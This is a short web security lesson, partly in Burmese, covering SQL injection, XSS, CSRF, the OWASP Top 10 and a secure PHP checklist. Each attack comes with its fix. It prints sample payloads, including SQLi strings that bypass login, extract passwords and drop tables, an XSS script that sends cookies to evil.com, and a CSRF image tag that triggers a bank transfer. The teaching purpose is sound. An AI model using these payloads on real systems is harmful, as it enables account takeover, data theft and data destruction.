Cyber Security Lesson 03

1. SQL Injection (SQLi)

❌ Attack: User input ထဲ SQL code ထည့်ပြီး database manipulate

# Login form: username field မှာ ထည့်
username: admin' OR '1'='1
password: anything

# Resulting query
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
# '1'='1' always true → login without password!

# Data extraction
username: ' UNION SELECT username, password FROM users --

# Drop table
username: '; DROP TABLE users; --

🛡️ Fix: Prepared Statements (PDO), Input validation, ORM, WAF
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");

2. Cross-Site Scripting (XSS)

❌ Attack: Malicious JavaScript ကို webpage ထဲ inject လုပ်တာ

# Stored XSS — Comment box မှာ ထည့်
<script>
  document.location = 'https://evil.com/steal?c=' + document.cookie
</script>

# Reflected XSS — URL မှာ ထည့်
https://site.com/search?q=<script>alert('XSS')</script>

# DOM XSS — JavaScript ကနေ
document.write(location.search)  // user input directly to DOM

🛡️ Fix: htmlspecialchars() (PHP), textContent (not innerHTML), CSP header, HttpOnly cookies
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

3. CSRF — Cross-Site Request Forgery

❌ Attack: Victim ရဲ့ browser ကနေ unauthorized action execute

# Scenario: victim bank account ဝင်ထားတုန်း
# evil.com မှာ hidden form

<img src="https://bank.com/transfer?to=hacker&amount=10000">

# Victim image load လုပ်ရင် → bank transfer ဖြစ်မယ်
# (victim ရဲ့ session cookie auto sent ဖြစ်တာကြောင့်)

🛡️ Fix: CSRF Token (unique per request), SameSite cookie attribute, Origin header check
Laravel: @csrf directive · Django: {% csrf_token %}

4. OWASP Top 10 (2021)

#	Vulnerability	Example
A01	Broken Access Control	User A → User B data access
A02	Cryptographic Failures	Storing plain-text passwords
A03	Injection	SQL injection, XSS, Command injection
A04	Insecure Design	No rate limiting on login
A05	Security Misconfiguration	Default passwords, open cloud storage
A06	Vulnerable Components	Old jQuery with known CVEs
A07	Auth Failures	No MFA, weak passwords allowed
A08	Software Integrity Failures	Unverified npm packages
A09	Logging Failures	No audit trail for breaches
A10	SSRF	Server fetching internal URLs

5. Secure PHP Web App Checklist

✅ Input Validation — filter_var(), type checking
✅ Prepared Statements — PDO with ? or :named params
✅ htmlspecialchars() — user output escape
✅ Password hashing — password_hash(pass, PASSWORD_BCRYPT)
✅ HTTPS — SSL/TLS certificate
✅ CSRF tokens — every form
✅ Session security — session_regenerate_id()
✅ Error handling — don't show stack traces to users
✅ File upload — validate type, store outside webroot
✅ .env secrets — never commit to git

🛡️ Password hashing:
$hash = password_hash($password, PASSWORD_BCRYPT);
$valid = password_verify($input, $hash);

📌 Study Checklist